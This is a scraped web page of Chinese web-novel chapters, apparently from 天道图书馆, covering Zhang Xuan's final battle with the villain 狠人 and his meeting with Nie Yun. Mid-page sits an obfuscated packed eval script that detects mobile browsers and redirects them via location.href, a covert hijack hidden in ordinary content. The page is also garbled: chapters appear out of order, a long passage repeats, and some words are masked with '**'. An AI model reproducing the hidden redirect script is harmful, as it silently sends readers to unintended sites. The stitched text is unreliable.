$(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第33章废后诏书 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546006|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 